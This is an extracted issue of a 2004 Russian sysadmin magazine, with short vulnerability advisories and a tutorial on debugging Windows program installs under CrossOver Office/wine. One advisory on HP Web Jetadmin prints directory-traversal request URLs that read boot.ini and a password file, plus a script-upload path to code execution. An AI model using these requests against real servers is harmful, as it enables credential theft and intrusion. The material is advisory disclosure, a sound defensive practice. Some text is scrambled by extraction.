018 Системный Администратор 05 2004

Page 1

№5(18) май 2004 подписной индекс 81655

Использование rrdtool для мониторинга сети MRTG + snort Зеркалирование информации Знакомство с Open WebMail Postfix как шлюз для Exchange Role Based Access Control в Solaris 9 IPFilter с самого начала Централизованное обнаружение вторжения с Samhain

№5(18) май 2004

Побег через брандмауэр Утечки памяти в программах на Perl Управление сетевой печатью в Windows 2000



оглавление АДМИНИСТРИРОВАНИЕ

БЕЗОПАСНОСТЬ

Запуск Windows-приложений под Linux с помощью CrossOver Office Часть 3

Централизованное обнаружение вторжения с Samhain

Андрей Бешков tigrisha@sysadmins.ru

6

16

22

INSERT – Inside Security Rescue Toolkit Сергей Яремчук grinder@ua.fm

78

28 Java: встраиваем сервер Telnet Александр Фефелов fefelov@zvenigorod.ru

82

30 ОБРАЗОВАНИЕ

34

Управление сетевой печатью в Windows 2000 Часть 1 Иван Коробко ikorobko@prosv.ru

IPFilter с самого начала Татьяна Ильченко ti@sysadmins.ru

66

Алексей Мичурин alexey@office-a.mtu-net.ru

Postfix как шлюз для Exchange Игорь Полянский ipoliansky@mail.ru

Крис Касперски kk@sendmail.ru

26 Утечки памяти в программах на Perl

Знакомство с Open WebMail Андрей Маркелов andrew@markelov.net

62

ПРОГРАММИРОВАНИЕ

Зеркалирование информации Александр Байрак x01mer@pisem.net

Максим Костышин Maxim_kostyshin@mail.ru

Побег через брандмауэр плюс терминализация всей NT

MRTG + snort Павел Закляков amdk7@mail.ru

50

Что ждет персональные компьютеры завтра?

Использование rrdtool для мониторинга сети Всеволод Стахов cebka@jet.msk.su

Сергей Яремчук grinder@ua.fm

38 BUGTRAQ

88 4, 15, 61, 94

Role Based Access Control (RBAC) в Solaris 9 Дмитрий Селезнев macduck@podolsk.ru

№5(18), май 2004

44 1




bugtraq Множественные уязвимости в IA WebMail Server Программа: IA WebMail Server 3.1. Опасность: Критическая. Описание: Несколько уязвимостей обнаружено в IA WebMail Server. Злонамеренный пользователь может вызвать отказ в обслуживании, выполнить XSS-нападение, подделать отправителя или скомпрометировать уязвимую систему. 1. Переполнение буфера обнаружено в обработке имени пользователя. В результате удаленный пользователь может представить специально обработанное имя пользователя (около 980 байт), чтобы вызвать переполнение буфера и выполнить произвольный код на уязвимой системе. 2. Удаленный пользователь может представить специально обработанный некорректный запрос к «view» и «edit_contact» разделам, чтобы аварийно завершить работу WebMail-процесса. 3. Межсайтовый скриптинг обнаружен в параметрах the «msgid», «NumMesg» и «contact_name» в разделах «view» и «edit_contact». 4. Злонамеренный пользователь может выступить в качестве другого пользователя, посылая e-mail сообщение, манипулируя параметром «from» в разделе «send». URL производителя: http://www.tnsoft.com. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время. Используйте альтернативное программное обеспечение.

Переполнение буфера в ModSecurity для Apache 2.x

Несколько уязвимостей в HP Web Jetadmin Программа: HP Web Jetadmin 7.5.2546. Опасность: Высокая. Описание: Уязвимость обнаружена в HP Web Jetadmin. Удаленный авторизованный пользователь может читать и записывать файлы на системе и выполнять код сценария на целевой системе. Удаленный авторизованный пользователь может подключиться к веб-службе и загрузить произвольные файлы в определенные местоположения и просматривать файлы в любом местоположении с SYSTEM-привилегиями. HTS-сценарий /plugins/hpjwja/script/devices_update_printer_fw_upload.hts может использоваться для загрузки файлов в каталог /plugins/hpjwja/firmware/printer/, используя следующий URL: https://victim:8443/plugins/hpjwja/firmware /printer/<filename>

Также сообщается, что удаленный пользователь может вызвать setinfo.hts и читать файлы, определяя имя файла в переменной setinclude, используя символы обхода каталога. Пример: https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts?s ↵ etinclude=../../../../../../../boot.ini

Например, уязвимость может использоваться для просмотра кодированных паролей: https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? ↵ setinclude=../../../hpjwja/firmware/printer/test.inc

Загружая произвольный HTS-сценарий и затем используя setinfo.hts, чтобы включить загруженный файл, удаленный авторизованный пользователь может выполнить произвольный HTS-код сценария на целевой системе. Пример: https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? ↵ setinclude=../../../../../auth/local.users

Программа: ModSecurity 1.7.4 для Apache 2.x/ Опасность: Критическая. Описание: Переполнение буфера обнаружено в ModSecurity для Apache 2.x. Удаленный атакующий может выполнить произвольный код на уязвимом сервере. «off-by-one»-переполнение обнаружено в ModSecurity для Apache 2.x при включенной директиве проверки входящих POST-запросов «SecFilterScanPost». Уязвимость позволяет удаленному атакующему выполнить произвольный код на целевом веб-сервере. URL производителя: http://www.modsecurity.org. Решение: Установите обновленную версию модуля (1.7.5).

Этот метод может использоваться для выполнения произвольных сценариев на системе и, например, создать файлы в папке запуска администратора. Удаленный авторизованный пользователь может загрузить специально сформированный сценарий и затем выполнить его, чтобы аварийно завершить работу hpwebjetdпроцесса. URL производителя: http://h10010.www1.hp.com/wwpc-JAVA/ offweb/vac/us/en/en/network_software/wja_overview.html. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Удаленное переполнение буфера в Kerio MailServer

Программа: sSMTP до версии 2.50.6.1. Опасность: критическая. Описание: Две уязвимости форматной строки обнаружены в ssmtp. Удаленный почтовый ретранслятор может выполнить произвольный код с привилегиями ssmtp-процесса. Уязвимость форматной строки обнаружена в функциях die() и log_event(). Удаленный пользователь (как почтовый ретранслятор) может представить специально обработанное значение, чтобы выполнить произвольный код на целевой системе. Решение: Решение существует только для Debian Linux.

Программа: Kerio MailServer до версии 5.7.7. Опасность: Высокая. Описание: Переполнение буфера обнаружено в Kerio MailServer. Воздействие уязвимости не раскрывается. Переполнение буфера обнаружено в спам-фильтре почтового сервера. Дополнительные подробности не раскрываются. URL производителя: http://www.kerio.com/kms_home.html. Решение: Установите обновленную версию программы (5.7.7): http://www.kerio.com/kms_download.html.

Уязвимость форматной строки в ssmtp

Составил Александр Антипов

4



администрирование

ЗАПУСК WINDOWS-ПРИЛОЖЕНИЙ ПОД LINUX C ПОМОЩЬЮ CROSSOVER OFFICE ЧАСТЬ 3 С момента выхода в свет первых двух статей о CrossOver Office прошло не так уж и много времени, и я надеюсь, вы еще не забыли, что мы изучали способы, пользуясь которыми можно довольно просто и удобно работать с Windows-программами под управлением Linux. Если же по каким-либо причинам вы не читали вышеупомянутых статей, то это досадное неудобство можно легко исправить, либо найдя старые номера нашего журнала, либо посетив сайт http://onix.opennet.ru. Ну а нас ждет новая экскурсия в увлекательный мир эмуляции.

АНДРЕЙ БЕШКОВ 6


администрирование Надеюсь, что третьей статьей мне наконец-то удастся завершить повествование и охватить все вопросы, присланные читателями в ответ на предыдущие публикации по этой теме. Как и обещал, сегодня мы займемся изучением способов поиска неисправностей и скользких моментов, скрытых в Windows-программах и не позволяющих успешно работать со столь необходимыми нам приложениями внутри эмулятора. В дальнейшем я предполагаю, что вы умеете самостоятельно установить и произвести начальную настройку CrossOver Office. Как обычно, готовясь к любым экспериментам внутри эмулятора, лучше всего сделать резервную копию директории /cxoffice, в которой находится наш урезанный вариант Windows. В случае если что-то пойдет не так, как мы ожидаем, у нас всегда будет возможность восстановить рабочую среду простым копированием ее из архива. В качестве первого подопытного кролика была выбрана программа Ulead Smart Saver Pro 3.0. Она привлекла мое внимание тем, что умеет очень хорошо оптимизировать изображения, и в то же время в ней присутствуют практически все проблемы, с которыми можно столкнуться при установке Windows-программ. Довольно часто файл, в котором хранится изображение, после обработки этим приложением может похудеть без потери качества на размер от 20 до 80 процентов первоначального объема. Несмотря на все увеличивающееся пропускную способность интернет-каналов, такая оптимизация способна довольно благотворно повлиять на скорость работы любого сайта. Скачиваем дистрибутив пробной версии этого приложения здесь: http://www.ulead.com/ssp/runme.htm. Как обычно, с помощью программы officesetup начинаем новую инсталляцию официально неподдерживаемого программного обеспечения. Первый же появившийся экран программы Ulead Smart Saver Pro заставляет нас предположить что-то неладное: уж очень подозрительно выглядят многочисленные надписи «exclamdown», рассыпавшиеся вперемешку с фигурными скобками по верхней части диалогового окна. Судя по всему, какой-то из служебных скриптов работает неправильно.

Конечно, это не смертельно, но уже заставляет насторожиться. После перехода к следующему шагу инсталляции по надписям в окне, появляющимся в момент выполнения промежуточных действий, мы видим, что дистрибутив упакован с помощью системы InstallShield.

№5(18), май 2004

Обнаружение данного неприятного факта не оставляет нас равнодушными. Поддержка скриптов InstallShield еще не очень хорошо реализована в эмуляторе, поэтому нам придется многие действия выполнять вручную и весьма часто прибегать к помощи шаманского бубна. Впрочем, нас это ни в коей мере не огорчает, потому что пользователи UNIX – люди к трудностям привычные. Так, шаг за шагом мы доходим до момента, когда приходится выбрать, куда именно нужно устанавливать программное обеспечение.

На следующем шаге должно начаться копирование файлов. К сожалению, этого не происходит, и на экране появляется следующая ошибка.

Теперь нужно дождаться, пока программа officesetup не завершит все работающие wine-процессы. Для того чтобы умело пользоваться возможностями отладки, встроенными в wine, нужно изучить немного добавочной теории. Отладочные сообщения могут принадлежать к любой из четырех разновидностей, называемых классами. Принадлежность к тому или иному классу определяется разработчиками wine в зависимости от того, насколько критично для нас выводимое сообщение. Давайте разберемся с каждым из этих пресловутых классов подробнее. ! FIXME – сообщения данного класса сигнализируют о том, что какое-то действие, запрошенное Windows-приложением, не выполнено. Обычно это случается в связи с тем, что реализация нужной нам функции еще не создана в wine, а вместо нее на данный момент используется пустышка, не выполняющая никаких серьезных действий. Такой тип сообщений служит напоминанием разработчикам о необходимости наконец-то закончить разработку того или иного функционала.

7


администрирование ! ERR – к подобным сообщениям нужно относиться бо-

!

!

!

лее серьезно, ведь они показывают наличие критических ошибок во время выполнения кода. А это значит, в процессе работы случилось что-то очень плохое. Чаще всего подробные сведения, разъясняющие, что именно произошло, следуют сразу же за этими сообщениями. WARN – предупреждения обычно появляются в тот момент, когда выполняемая функция еще не совершила непоправимых ошибок, но уже не может самостоятельно стопроцентно правильно выполнять все нужные действия. Такие сообщения появляются довольно редко, потому что обычно более или менее правильно написанная функция не должна впадать в панику из-за каких-то мелких нестыковок. В случае ошибок образцовая функция должна вернуть родительской функции код ошибки и предоставить вышестоящим инстанциям право решать, что именно нужно делать. TRACE – позволяет предоставить наиболее детализированные отчеты о ходе выполнения того или иного кода. Чаще всего полезен во время первоначальной отладки разработки новых компонентов wine, поэтому по умолчанию отключен. MESSAGE – сообщения, предназначенные для конечного пользователя. Так же, как и класс WARN, используется очень редко из-за своей малой полезности в повседневной жизни.

Разобравшись с классами сообщений, давайте перейдем к другому важному понятию. Каждый компонент wine имеет свой канал для вывода отладочной информации. Например, функции, отвечающие за работу с реестром, пишут отладочные сообщения в канал по имени reg, ну а те, кто выполняет действия с файлами, соответственно используют отдельный канал, называемый file. Названия остальных доступных нам каналов выглядят так же просто и понятно. К примеру, функции, занимающиеся загрузкой dll, выводят свои сообщения в канал loaddll. В общей сложности нам доступно 233 канала:

Думаю, название каждого из них довольно красноречиво говорит само за себя. Вдобавок ко всем перечисленным есть еще один псевдоканал под названием all, являющийся ссылкой на все каналы сразу. Выбрав его, мы получим абсолютно все отладочные сообщения, создаваемые wine. Количество отладочной информации выводимой в тот или иной канал, может быть довольно большим, если не сказать огромным, поэтому, пользуясь точным указанием интересующих нас каналов и классов сообщений, мы имеем возможность отфильтровать только те фрагменты данных, которые нам реально необходимы. Давайте разберемся, как это делается. Описание типа нужных нам отладочных сообщений чаще всего выглядит довольно просто. К примеру, если мы хотим увидеть сообщения класса WARN для канала, отвечающего за работу с реестром, то должны выполнить следующую команду: $ /opt/cxoffice/bin/wine --debugmsg warn+reg èìÿ ïðîãðàììû

В случае если класс сообщений не указан, wine считает, что мы хотим читать все классы данного канала. Примером, иллюстрирующим такой подход, может стать следующая команда: $

/opt/cxoffice/bin/wine --debugmsg +reg èìÿ ïðîãðàììû

Классами сообщения можно управлять не только с помощью знака «+», но и воспользовавшись его антиподом, знаком «-». Следующая приятная возможность, которая может весьма облегчить жизнь во время занятий поиском неисправностей, это то, что каналы сообщений можно перечислять через запятые. Нижеприведенная команда покажет все сообщения, относящиеся к загрузке dll, а из тех, что выводятся при работе с реестром, скроет все, что подпадает под класс ERR. $

8

/opt/cxoffice/bin/wine --debugmsg +loaddll, ↵ err-reg èìÿ ïðîãðàììû


администрирование Итак, разобравшись с теорией, приступим к практическим действиям. Нам нужно узнать, что же именно мешает программе установить в систему эту загадочную библиотеку OPASmgr.dll. А так как речь идет об ошибке, связанной с файлом, то, видимо, стоит посмотреть, как приложение обращается со своими файлами. Для этого подаем следующую команду:

вновь, но уже без отладки. Дойдя до момента, когда нужно указать, куда устанавливать программу, останавливаемся и смотрим, что у нас появилось нового в интересующей нас директории. Там действительно есть на что поглядеть, особенно обращают на себя внимание папки, иерархия которых отображена на следующей картинке.

$ /opt/cxoffice/bin/wine --cx-log logfile.txt ↵ --debugmsg +file ./Ussp30to.exe

Сообщений получается довольно много, поэтому я специально перенаправил их в файл logfile.txt с помощью ключа командной строки --cx-log. В результате получился файл отладки размером в полтора мегабайта. Пройдясь по файлу поиском, обнаруживаем в нем следующие записи:

Повторяющиеся записи я отфильтровал, но все равно, судя по суете в районе C:\\WINDOWS\\TEMP\\, скрипт Install Shield производит туда распаковку дистрибутива и затем запускает оттуда инсталляцию. Идем далее и обнаруживаем еще более интересные факты.

Пройдясь по этим папкам, мы обнаруживаем, что внутри них хранится уже распакованный и готовый к установке дистрибутив. Копируем его в какое-либо безопасное место и прерываем ожидающую нашего ответа программу инсталляции. Затем уже запускаем программу Setup.exe из только что распакованного дистрибутива. Теперь вся установка, освобожденная от оков InstallShield, проходит на ура, но радоваться пока рано. Попробовав запустить свежеустановленную программу с помощью файла Usspro.exe, получаем от ворот поворот. Приложение, не открывая ни одного окна и не показывая никаких ошибок, молчаливо вываливается обратно в консоль. Вот тут-то нам и пригодятся отладочные каналы loaddll и file. Проблемы с загрузкой тех или иных библиотек – довольно частая причина, по которой приложения отказываются работать. $ /opt/cxoffice/bin/wine --debugmsg +file ./Usspro.exe

Судя по всему, инсталлятор не может получить доступа на запись в собственноручно созданную директорию C:\\Program Files\\Ulead SmartSaver Pro 3.0\\, а возможно, ему не удается внести нужные данные в файл C:\\Program Files\\Ulead SmartSaver Pro 3.0\\OPASMgr.dll. Посмотрев на вышеуказанную директорию, понимаем, что с правами у нас все вроде бы в порядке. Весьма настораживает активность внутри директории C:\\Windows\\Temp\\, поэтому запускаем инсталляцию

№5(18), май 2004

Судя по первой строке, программа не может найти файл динамически загружаемой библиотеки u32Comm.dll, на которую в свою очередь ссылается UssAbout.dll. При попытке приложения загрузить динамические библиотеки wine ищет их в следующих местах: ! папка, откуда программа была запущена (где лежит ее выполняемый файл); ! текущая папка; ! папка C:\Windows\System\; ! папка C:\Windows\; ! все остальные папки, указанные в переменной окружения PATH. В случае если программе нужна какая-либо специфическая DLL, поставлявшаяся вместе с Windows, ее можно перенести вручную либо с компьютера, работающего под этой операционной системой, либо найти ее в Интернете. Ну а если с этими двумя вариантами не повезло, то всегда остается возможность с помощью ути-

9


администрирование литы cabextract вытащить необходимые файлы из cab-архивов, хранящихся на CD-ROM c дистрибутивом Windows. Довольно быстро обнаруживаем недостающую библиотеку в дистрибутиве программы и кладем ее в домашнюю директорию приложения. После этого можно снова попробовать запустить его.

На приведенной краткой выдержке из протокола явно видно, что большинство DLL работает в режиме native, то есть wine не пытается подменять своими собственными реализациями родные библиотеки. Судя по строкам, которые я выделил красным цветом, у нас происходит конфликт версий между библиотеками SHDOCVW.DLL и SHLWAPI.DLL. Вторая библиотека требует от первой правильной реализации импортируемой функции AssocIs Dangerous, но, судя по всему, выполнить эти требования SHLWAPI.DLL не способна. Для выхода из столь неприятного положения мы можем принудительно указать wine, что при загрузке SHDOCVW.DLL и SHLWAPI.DLL нужно использовать не родные версии этих библиотек, а встроенные (builtin) в wine. Поэтому нам придется впредь запускать приложение следующей командой: $ /opt/cxoffice/bin/wine --dll shdocvw,shlwapi=b ./Usspro.exe

На этот раз нам повезло чуть больше, появилась заставка, рассказывающая о том, что программа защищена с помощью системы VBOX, и что мы можем пользоваться ею условно бесплатно в течение следующих 15 дней. Наличие той или иной защиты в программе обычно довольно сильно усложняет процесс работы с таким приложением. К сожалению, приложение все еще не готово к нормальной работе. Нажав на кнопку «Try», получаем огромный список предупреждений и критическую ошибку, вызывающую немедленное падение программы. Снова запускаем наше многострадальное приложение, только теперь нас интересуют данные из отладочного канала loaddll.

По идее, можно было обойтись только подменой SHDOCVW.DLL, но, к сожалению, это не всегда стабильно работает. Как видите, приложение отлично функционирует. Убедиться в этом можно, посмотрев на следующий снимок экрана.

$ /opt/cxoffice/bin/wine --debugmsg +loaddll ./Usspro.exe

Теперь программу придется запускать указанной выше командной строкой, что, согласитесь, немного неудобно. Ну а мы, как истинные сибариты, хотим избавить себя от запоминания и постоянного набора c клавиатуры этих опций, поэтому открываем конфигурационный файл $HOME/fake_windows/config и ищем в нем вот такую строчку: # [/wineconf], обозначающую конец главной секции. Найдя ее, вставляем в любое приглянувшееся место перед этой строкой следующее объявление, описывающее необходимое нам переопределение порядка загрузки библиотек для приложения Usspro.exe.

10


администрирование [AppDefaults\\Usspro.exe\\DllOverrides] ; Ulead Smart Saver Pro 3.0 "shdocvw" = "builtin" "shlwapi" = "builtin

После сохранения файла конфигурации можно будет удобнее и спокойнее работать с приложением без страха забыть какую-либо опцию или уронить другие программы, которым для правильного функционирования нужно обязательно загружать родные варианты вышеназванных DLL. Закончив бороться с этой программой, мы многому научились, но пока что не время останавливается. Поэтому сейчас нужно заняться установкой программы Ultra Edit версии 10.10b, которую можно скачать, перейдя по следующему адресу: http://www.ultraedit.com/downloads/. Данное приложение выбрано в качестве объекта эксперимента по двум причинам. Во-первых, потому, что оно является, с моей точки зрения, одним из самых удобных редакторов для разработчика из всех когда-либо встречаемых мной под Windows. Вторая причина состоит в том, что из-за очень сложного кода инсталлятора программу тяжело установить и успешно эксплуатировать под управлением эмулятора. А нам это как нельзя кстати. Позарез нужны именно такие тяжелые пациенты, потому что, заставив эту программу работать, мы сможем изучить несколько новых продвинутых приемов. Это в свою очередь позволит существенно повысить успешность наших попыток по переносу Windows-приложений в среду эмуляции. Добавочный опыт выживания в сложных условиях будет для нас очень кстати. Пробуем запустить инсталляцию и убеждаемся в том, что дела идут хуже некуда. Программа, нарисовав на экране заставку, падает через полсекунды, буквально засыпав экран ворохом ошибок. Опробовав все приемы, изученные нами в борьбе с предыдущим противником, понимаем, что проблема ни на йоту не сдвинулась с мертвой точки, а все приобретенные знания ничем не помогают. Пришло время бросить в бой танковые дивизии и задавить противника техническим преимуществом. Для создания полигона нам понадобится либо отдельный компьютер с работающей Windows 98, либо система полной эмуляции с запущенной внутри нее полноценной версией нужной нам операционной системы. В качестве таких эмулирующих контейнеров можно использовать VMWare Workstation, Virtual PC или Win4Lin. Я выбрал VMWare как наиболее привычный для меня инструмент, ну а вы можете использовать любой из вышеперечисленных вариантов, самый подходящий под ваши вкусовые предпочтения. Главное, чтобы у нас была нормальная рабочая версия Windows, под управлением которой мы сможем проинсталлировать все необходимые инструменты. Первым делом устанавливаем программу Filemon, которая позволяет протоколировать все обращения к файлам. Затем делаем то же самое с программой Regmon, помогающей следить за всеми манипуляциями с реестром. Автор обоих вышеописанных инструментов Mark Russinovich. Они лежат в свободном доступе на сайте: http://www.sysinternals.com/win9x/ 98utilities.shtml. Установка проста, как три копейки. Создайте на жестком диске директорию и распакуйте в нее содер-

№5(18), май 2004

жимое архивов. Думаю, инсталляция этого комплекса ни у кого не вызовет затруднений. Пользуясь только что полученными инструментами, мы сможем записать все действия, которые подопытная программа выполняет во время своей установки. А затем повторить их вручную под управлением CrossOver, тем самым освобождая себя от необходимости пользоваться фирменным инсталлятором. Запустив Regmon, должны увидеть на экране похожую картинку.

Как вы могли убедиться, интерфейс приложения прост и интуитивно понятен. При каждом обращении любого процесса к реестру программа записывает время, когда случилось событие, имя процесса, тип действия, ключ реестра, с которым нужно взаимодействовать, код возврата и данные, полученные в результате выполнения действия. Интерфейс утилиты Regmon выглядит точно так же, единственное отличие в том, что он показывает действия, производимые по отношению к файлам.

Обычно в системе работает очень много процессов, занимающихся своими собственными делами, дабы они не мешали нам и не мусорили в протокол, мы должны сузить поле зрения запущенных утилит. Для этого клавишей щелкаем на неугодном процессе и в ниспадающем меню выбираем пункт «Exclude Process». Исключая один процесс за другим, мы должны добиться, чтобы протоколировались только действия процесса, занимающегося инсталляцией. Запустив установку UltraEdit, выбираем, какой тип инсталляции провести.

11


администрирование Затем решаем, какие из компонентов нам действительно необходимы, а от каких можно безболезненно отказаться. После того как установка успешно завершится, на вопрос, нужно ли перезагрузить операционную систему, непременно отвечаем «нет».

Делаем мы так по двум причинам. Во-первых, данные слежения, собранные с помощью Regmon и Filemon, еще не сохранены на жесткий диск. Во-вторых, после перезагрузки состояние системы может сильно измениться, а некоторые файлы могут быть удалены. Хотелось бы как можно точнее имитировать внутри эмулятора всю последовательность событий, происходящих во время установки и перезагрузки. Сохраняем протоколы работы с файловой системой и ключами реестра в файлы uedit_file_inst.log и uedit_reg_ inst.log. После этого можно посмотреть, что, собственно, в них записалось. Здесь я приведу только краткие выдержки, собранные из наиболее характерных записей. Содержимое файла uedit_file_inst.log:

12

Самыми интересными для нас являются строки, в которых упоминается операция Write, ведь мы хотим узнать, какие файлы появились и какие изменились в результате установки. Для удобства я пометил пример такой строки красным цветом. Теперь давайте посмотрим на отрывки из файла протокола работы с реестром. Содержимое файла uedit_reg_inst.log:

Как и в предыдущем примере, интересующие нас строки помечены красным. Надеюсь, вы уже догадались, что нас интересуют операции CreateKey и SetValueEx, отвечающие за создание новых ключей и установку их значений. Впрочем, просмотрев файл, я пришел к выводу, что операция SetValueEx, присваивающая ключу значение, всегда идет сразу же за CreateKey, поэтому можно облегчить нашу задачу, выбирая данные только по этому признаку. Поразмыслив еще немного, я пришел к выводу, что такое поведение довольно естественно, ведь программе инсталляции нет смысла создавать пустые ключи. В связи с тем, что размер первого файла 1.2 Мб, а второго 283 Кб, думаю, все понимают, что обрабатывать вручную их не только затруднительно, но и весьма неприятно. Поэтому мы поступим в соответствии с фразой «Никогда не доверяй человеку работу, которую может выполнить скрипт». По моему мнению, UNIX является лучшей платформой для выполнения задачи фильтрации текстовых данных. Так происходит потому, что благодаря возможности связывать команды в цепочку с перенаправлением результатов работы одной команды на стандартный ввод другой мы можем без труда создавать довольно сложные фильтры. Итак, давайте нарисуем план работы скрипта, фильтрующего данные о действиях с файлами. Сначала нужно выбрать все строки, в которых тип операции равен Write, затем отфильтровать только те, где статус выполняемой операции равен SUCCES. После этого вырезать пятое поле строки, содержащее имя изменяемого файла. В связи с тем, что во время первоначальной распаковки дистрибутива происходит очень много операций записи в папку TEMP, нам нужно отбросить все строки, содержащие такие фрагменты. Делаем мы так потому, что после инсталляции программа стирает все временные файлы из папки TEMP, соответственно нам там тоже нечего делать. Полученный список файлов подвергается сортировке с исключением повторяющихся строк и сохраняется в файл uedit_file_inst_selected.log. Все вышеописанные действия выполняются следующей командой:


администрирование $ cat uedit_file_inst.log | grep Write | grep SUCCESS | cut ↵ -f5> | grep -v "TEMP" | sort -u > uedit_file_inst_selected.log

В результате получаем файл размером в 1.4 Кб с вот таким содержимым:

Складываем в отдельную папку файлы, указанные в списке. Иерархию директорий, в которой эти файлы изначально находились, лучше всего воссоздать в нашей временной папке. Так будет проще разложить файлы по нужным местам в эмуляторе. Впрочем, файлы WIN386.SWP и все, что связано с рабочим столом и главным меню, можно не копировать. Настало время приступить к выполнению действий над файлом, в котором хранится протокол работы с реестром. Процедура фильтрации отличается от предыдущего примера только тем, что мы выбираем строки, в которых встречается цепочка символов SetValue.

Как вы теперь можете убедиться, всю рутинную работу удалось выполнить очень легко. Именно в таких задачах проявляется скромное очарование UNIX. Первая строка этого файла слегка сбила меня с толку. Поискав в реестре, я так и не смог найти разделов и ключей с именем 0xC2A13710. Но, с другой стороны, такой раздел должен быть, ведь мы отбирали записи только о тех операциях с реестром, которые были действительно выполнены и возвратили код SUCCESS. Немного подумав, я стал искать с помощью программы regedit подразделы с именем SavedLegacySettings. Такая цепочка символов встречалась лишь в следующих подразделах:

$ cat uedit_reg_inst.log | grep SUCCESS | grep "SetValue" | ↵ cut -f5 | sort -u > tmp.log

В качестве награды за труды и проявленную сообразительность получаем файл tmp.log размером в 2.9 Кб.

Добавив их в файл вместо символов 0xC2A13710, я решил, что можно приступать к экспорту данных из реестра. По идее можно было бы еще сильнее уменьшить этот файл, сведя все ключи к минимальному общему набору символов. К примеру, следующие ключи:

могут быть заменены одной строкой: Подобным же образом можно поступить и с многими другими записями. При экспортировании любой ветки с помощью regedit все вложенные в нее значения обязательно будут сохранены в файл.

№5(18), май 2004

13


администрирование Первая проблема заключается в том, что Regmon записывает имена ключей в краткой форме, но regedit не понимает такой нотации. Соответственно мы, получив имя ключа реестра, должны приводить его к стандартному виду, заменяя сокращенные названия на полные в соответствии со следующей таблицей.

Самое время проверить результаты нашего долгого труда. Переходим в домашнюю директорию Ultraedit и пытаемся запустить файл uedit32.exe. Как обычно, при первом запуске получаем экран с просьбой назначить расширения, связываемые с UltraEdit.

Сделать это можно следующей командой, использующей возможности строкового редактора sed: $ cat temp.log | sed -e 's/HKCR/HKEY_CLASSES_ROOT/' -e ↵ 's/HKCU/HKEY_CURRENT_USER/' -e ↵ 's/HKLM/HKEY_LOCAL_MACHINE/' -e 's/HKU/HKEY_USER S/' ↵ -e 's/HKCC/HKEY_CURRENT_CONFIG/' -e ↵ 's/HKDD/HKEY_DYN_DATA/' > uedit_reg_inst_selected.log

Переносим полученный файл uedit_reg_inst_selected.log обратно под Windows 98. Затем с помощью regedit проходим по веткам, перечисленным в списке, и проводим экспортирование каждой из них в файл. Полученные файлы переносим на UNIX и соединяем в один с помощью вот такой простой команды:

И затем нашему взору предстают и все остальные рабочие окна редактора. Как это выглядит, вы можете увидеть на следующем снимке.

$ echo "REGEDIT4" > final.reg; cat *.reg | grep -v ↵ "REGEDIT4" >> final.reg

Следующая проблема, которая нас поджидает на пути, состоит в том, что каждый reg-файл обязательно должен начинаться строкой REGEDIT4. Поэтому, при слиянии всех файлов в один, наш результирующий файл был буквально напичкан этой надписью. Пришлось удалить все лишние строки и оставить только самую первую. Закончив с этим, можно приступить к импортированию полученных данных в реестр Windows, работающйй под управлением CrossOver Office. $ /opt/cxoffice/bin/regedit final.reg

Нам нужно вручную воссоздать всю иерархию директорий, находящихся в C:\PROGRAM FILES\ULTRAEDIT\. После этого можно приступать к раскладыванию бинарных файлов, собранных нами под Windows 98 по соответствующим директориям. Закончив с этим, обязательно выполняем перезапуск нашей виртуальной Windows системы с помощью программы cxreboot.

14

Я надеюсь, теперь многие из читателей убедились, что мы с успехом выполнили то, что в начале пути казалось совершенно неосуществимым, нужно было лишь приложить немного труда и научиться нескольким удачным приемам. Стоит признать, что методики переноса приложений, описанные в данной статье, не являются стопроцентной панацеей, но все же они помогут вам самостоятельно перенести на Linux многие нужные Windows-приложения.


bugtraq Несколько переполнений буфера в различных анализаторах протоколов в Ethereal Программа: Ethereal 0.8.13 – 0.10.2. Опасность: Высокая. Описание: Несколько уязвимостей обнаружено в Ethereal. Удаленный пользователь может выполнить произвольный код на целевой системе. Уязвимости обнаружены в NetFlow, IGAP, EIGRP, PGM, IrDA, BGP, ISUP и TCAP анализаторах протоколов. Удаленный пользователь может аварийно завершить работу сервера или выполнить произвольный код. URL производителя: http://www.ethereal.com/appnotes/enpasa-00013.html. Решение: Установите обновленную версию сниффера (0.10.3): http://www.ethereal.com/download.html.

Уязвимость в обработке сокетов в Apache Web Server позволяет удаленному пользователю вызвать отказ в обслуживании Программа: Apache Web Server 2.0.48 и ранние версии. Опасность: Средняя. Описание: Уязвимость обнаружена в веб-сервере Apache. Удаленный пользователь может вызвать условия отказа в обслуживании. Удаленный пользователь может установить кратковременное подключение к редко используемому сокету на целевом сервере, чтобы заставить дочерний процесс Apache блокировать новые подключения, пока другое подключение не установится с редко используемым сокетом. Уязвимы некоторые версии AIX, Solaris, и Tru64 UNIX. FreeBSD и Linux-системы не уязвимы. URL производителя: http://httpd.apache.org. Решение: Установите обновленную версию программы.

Небезопасный ActiveX-компонент позволяет удаленному пользователю выполнять произвольные файлы в Norton Internet Security Программа: Norton Internet Security 2004. Опасность: Высокая. Описание: Уязвимость обнаружена в Norton Internet Security в WrapUM.dll ActiveX-компоненте. Удаленный пользователь может выполнить произвольные программы на целевой системе. Сообщается, что WrapNISUM-класс (c:\program files\Norton Internet Security Professional\WrapUM.dll) помечен как безопасный для сценариев и может эксплуатироваться удаленным пользователем, чтобы запускать произвольные программы на целевой системе. Удаленный пользователь может сконструировать HTML, который, когда будет загружен целевым пользователем, выполнит произвольные программы на системе с привилегиями целевого пользователя. URL производителя: http://www.symantec.com. Решение: Установите обновление, доступное через LiveUpdate.

№5(18), май 2004

Несколько уязвимостей в Oracle Application Server Web Cache Программа: Oracle Application Server 9.0.4.0.0, 9.0.3.1.0, 9.0.2.3.0, и 9.0.0.4.0. Опасность: Высокая. Описание: Несколько уязвимостей обнаружено в Oracle Application Server Web Cache. Воздействие не раскрывается, но уязвимости присвоен высокий риск. Несколько уязвимостей обнаружено в Oracle Application Server Web Cache. Природа уязвимости не раскрывается. Уязвимы Sun Solaris, HP/UX, HP Tru64, IBM AIX, Linux и Windows-платформы. URL производителя: http://otn.oracle.com/deploy/security/ pdf/2004alert66.pdf. Решение: Установите обновленную версию программы: http://metalink.oracle.com/metalink/plsql/ml2_documents. showDocument?p_database_id=NOT&p_id=265310.1.

